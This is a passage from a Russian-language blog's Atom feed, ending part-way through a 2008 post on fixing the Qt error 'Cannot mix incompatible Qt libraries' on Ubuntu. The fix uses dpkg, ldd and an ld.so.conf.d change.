&lt;a href="http://feeds.feedburner.com/~f/sjblog?a=0aafM"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=0aafM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=pJ5YM"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=pJ5YM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=OGBKm"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=OGBKm" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=HE6Vm"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=HE6Vm" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=OuRCM"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=OuRCM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=IWOGm"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=IWOGm" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=kqzZM"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=kqzZM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=jCFim"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=jCFim" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=mdw1M"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=mdw1M" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=WgqLM"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=WgqLM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=IWOGm"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=IWOGm" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=kqzZM"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=kqzZM" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/sjblog/~4/426905462" height="1" width="1"/&gt;</content>
		<link rel="replies" type="text/html" href="http://blog.sjinks.org.ua/administring/352-apache-how-toredirect-from-www-and-back/#comments" thr:count="2" />
		<link rel="replies" type="application/atom+xml" href="http://blog.sjinks.org.ua/administring/352-apache-how-toredirect-from-www-and-back/feed/atom/" thr:count="2" />
		<thr:total>2</thr:total>
	<feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=sjblog&amp;itemurl=http%3A%2F%2Fblog.sjinks.org.ua%2Fadministring%2F352-apache-how-toredirect-from-www-and-back%2F</feedburner:awareness><feedburner:origLink>http://blog.sjinks.org.ua/administring/352-apache-how-toredirect-from-www-and-back/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[Cannot mix incompatible Qt libraries]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/408172183/" />
		<id>http://blog.sjinks.org.ua/?p=351</id>
		<updated>2008-10-01T11:39:02Z</updated>
		<published>2008-10-01T11:38:36Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="Linux" /><category scheme="http://blog.sjinks.org.ua" term="32 bit" /><category scheme="http://blog.sjinks.org.ua" term="64 bit" /><category scheme="http://blog.sjinks.org.ua" term="Intrepid Ibex" /><category scheme="http://blog.sjinks.org.ua" term="Qt" /><category scheme="http://blog.sjinks.org.ua" term="Skype" /><category scheme="http://blog.sjinks.org.ua" term="Ubuntu" />		<summary type="html"><![CDATA[В последнее время на разных Ubuntu Intrepid Ibex я стал довольно часто сталкиваться с ошибкой
          

    
        
Cannot mix incompatible Qt libraries
        
    


Очень сильно этим [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/linux/351-cannot-mix-incompatible-qt-libraries/">&lt;p&gt;В последнее время на разных Ubuntu Intrepid Ibex я стал довольно часто сталкиваться с ошибкой&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p35142"&gt;
        &lt;div class="code error" id="p351code42"&gt;
Cannot mix incompatible Qt libraries
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Очень сильно этим грешит &lt;a href="http://forum.skype.com/index.php?showtopic=95626"&gt;Skype&lt;/a&gt;. Но в последнее время такая проблема стала возникать для приложений KDE4.&lt;/p&gt;
&lt;p&gt;Данная ошибка, как правило, вызывается одной из следующих причин:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;В системе установлены библиотеки Qt разных версий. Проверяется это очень просто:
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p35143"&gt;
        &lt;div class="code bash" id="p351code43"&gt;
&amp;nbsp;&lt;span class="kw2"&gt;dpkg&lt;/span&gt; &lt;span class="re5"&gt;-l&lt;/span&gt; | &lt;span class="kw2"&gt;grep&lt;/span&gt; qt | &lt;span class="kw2"&gt;grep&lt;/span&gt; &lt;span class="re5"&gt;-r&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;^[ih]&amp;quot;&lt;/span&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Если в выдаче присутствуют библиотеки разных версий (третья колонка), значит, именно это вызвало проблему. Удаление старых библиотек, как правило, решает проблему.&lt;/p&gt;
&lt;p&gt;В этом случае, например, конфликта нет:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p35144"&gt;
        &lt;div class="code out" id="p351code44"&gt;
ii &amp;nbsp;libqt4-dbus &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 4.4.2-0ubuntu2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Qt 4 D-Bus module&lt;br /&gt;
ii &amp;nbsp;libqt4-designer &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 4.4.2-0ubuntu2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Qt 4 designer module&lt;br /&gt;
ii &amp;nbsp;libqt4-network &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4.4.2-0ubuntu2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Qt 4 network module&lt;br /&gt;
ii &amp;nbsp;libqt4-opengl &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 4.4.2-0ubuntu2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Qt 4 OpenGL module&lt;br /&gt;
ii &amp;nbsp;libqt4-qt3support &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 4.4.2-0ubuntu2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Qt 3 compatibility library for Qt 4&lt;br /&gt;
ii &amp;nbsp;libqt4-script &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 4.4.2-0ubuntu2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Qt 4 script module&lt;br /&gt;
ii &amp;nbsp;libqt4-sql &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4.4.2-0ubuntu2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Qt 4 SQL module&lt;br /&gt;
ii &amp;nbsp;libqt4-svg &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4.4.2-0ubuntu2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Qt 4 SVG module&lt;br /&gt;
ii &amp;nbsp;libqt4-xml &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4.4.2-0ubuntu2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Qt 4 XML module&lt;br /&gt;
ii &amp;nbsp;libqtcore4 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4.4.2-0ubuntu2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Qt 4 core module&lt;br /&gt;
ii &amp;nbsp;libqtgui4 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 4.4.2-0ubuntu2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Qt 4 GUI module&lt;br /&gt;
ii &amp;nbsp;libstrigiqtdbusclient0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0.5.11-1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;library for writing D-Bus clients for Strigi Desktop Se&lt;br /&gt;
ii &amp;nbsp;qt4-qtconfig &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4.4.2-0ubuntu2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Qt 4 configuration tool
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

Тем не менее, если ошибка всё еще выдаётся, переходим к пункту&amp;nbsp;2.
&lt;/li&gt;
&lt;li&gt;Если используется 64-битная платформа, проблема может возникать из-за того, что загрузчик пытается использовать 32-битные библиотеки. Определить это можно при помощи &lt;code class="codebox bash"&gt;&lt;span class="kw2"&gt;ldd&lt;/span&gt;&lt;/code&gt;.
&lt;p&gt;Например,&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p35145"&gt;
        &lt;div class="code bash" id="p351code45"&gt;
&lt;span class="kw2"&gt;ldd&lt;/span&gt; &lt;span class="sy0"&gt;/&lt;/span&gt;usr&lt;span class="sy0"&gt;/&lt;/span&gt;bin&lt;span class="sy0"&gt;/&lt;/span&gt;ktorrent | &lt;span class="kw2"&gt;grep&lt;/span&gt; &lt;span class="st0"&gt;'/lib32/'&lt;/span&gt;&lt;br /&gt;
&lt;span class="co0"&gt;# &amp;nbsp; libQtDBus.so.4 =&amp;gt; /lib32/libQtDBus.so.4 (0x00007f191cce7000)&lt;/span&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;В данном случае при загрузке &lt;strong&gt;libQtDBus&lt;/strong&gt; загрузчик будет загружать её 32-битную версию (из &lt;code&gt;/lib32&lt;/code&gt;) вместо 64-битной (из &lt;code&gt;/lib&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Я использую следующее решение (оно не идеальное, но работает):&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p35146"&gt;
        &lt;div class="code bash" id="p351code46"&gt;
&lt;span class="kw2"&gt;sudo&lt;/span&gt; &lt;span class="re5"&gt;-i&lt;/span&gt;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="sy0"&gt;/&lt;/span&gt;lib32 &lt;span class="sy0"&gt;&amp;gt;&lt;/span&gt; &lt;span class="sy0"&gt;/&lt;/span&gt;etc&lt;span class="sy0"&gt;/&lt;/span&gt;ld.so.conf.d&lt;span class="sy0"&gt;/&lt;/span&gt;libQtDBus32.conf&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="sy0"&gt;/&lt;/span&gt;usr&lt;span class="sy0"&gt;/&lt;/span&gt;lib &lt;span class="sy0"&gt;&amp;gt;&lt;/span&gt; &lt;span class="sy0"&gt;/&lt;/span&gt;etc&lt;span class="sy0"&gt;/&lt;/span&gt;ld.so.conf.d&lt;span class="sy0"&gt;/&lt;/span&gt;libQtDBus64.conf&lt;br /&gt;
ldconfig
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;Наконец, если под